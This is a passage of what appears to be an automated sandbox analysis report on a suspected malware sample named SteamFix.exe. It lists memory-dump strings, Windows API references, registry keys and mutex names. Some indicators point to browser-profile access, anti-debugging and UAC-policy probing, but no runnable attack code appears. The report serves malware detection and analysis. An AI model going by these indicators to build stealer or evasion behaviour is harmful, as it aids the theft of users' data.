%q where name = %q") "UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "update "%w".sqlite_master set sql = printf('%%.%ds, ',sql) || %q || substr(sql,1+length(printf('%%.%ds',sql))) where type = 'table' and name = %q"), "SELECT %s FROM %s T WHERE T.%Q <= ? AND T.%Q >= ? ORDER BY T.%Q DESC" (Source: 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp, Indicator: "select %s from %s t where t.%q <= ? and t.%q >= ? order by t.%q desc")3d:T5cc2,Found reference to API (Indicator: "LoadLibraryA"; File: "SteamFix.exe") Found reference to API (Indicator: "VirtualProtect"; File: "SteamFix.exe") Found reference to API (Indicator: "GetProcAddress"; File: "SteamFix.exe") Found reference to API (Indicator: "ExitProcess"; File: "SteamFix.exe") Found reference to API (Indicator: "InitializeConditionVariable"; File: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API (Indicator: "WSAGetOverlappedResult"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API (Indicator: "getpeername"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API (Indicator: "WSASend"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetCursorInfo"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00001372.00000001.197755.03812000.00000004.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp, 00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API (Indicator: "GetCursorInfo"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetCursorInfo"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "GetCursorInfo"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp, 00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp, 00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00006948.00000000.196737.00B51000.00000020.mdmp, 00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00006948.00000000.196737.71641000.00000020.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp")3e:T1abf,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 17540-159-00B5D560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 17540-194-00B58190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 17540-194-00B58190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 17540-194-00B58190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 17540-196-00B5BFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 17540-207-00B58AF0 "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: AMSI "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00000992.00000000.195947.06000000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\syst\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E579AB5F-1CC4-44B4-BED" in Source: 00000000-00000992.00000001.197869.03B70000.00000004.mdmp 00000000-00000992.00000002.199787.03B70000.00000004.mdmp 00000000-00000992.00000003.204420.03B70000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00000992.00000001.197869.03BC7000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00001060.00000001.197716.04400000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00001372.00000001.197755.06000000.00000004.mdmp 00000000-00001372.00000001.197755.06100000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00001372.00000001.197755.06100000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002024.00000000.203341.04080000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00002024.00000000.203341.04080000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005984.00000000.197451.04100000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00005984.00000000.197451.06400000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00005984.00000000.197451.06400000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006948.00000000.196737.00A50000.00000004.mdmp 00000000-00006948.00000001.197689.00A50000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006948.00000000.196737.00A50000.00000004.mdmp 00000000-00006948.00000001.197689.00A50000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006948.00000000.196737.00B51000.00000020.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006948.00000001.197689.08102000.00000004.mdmp3f:T903,Process SteamFix.exe created mutex with name "\BaseNamedObjects\WEBR_RGRVRN5VRU64" Process SteamFix.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8176:168:WilStaging_02" Process 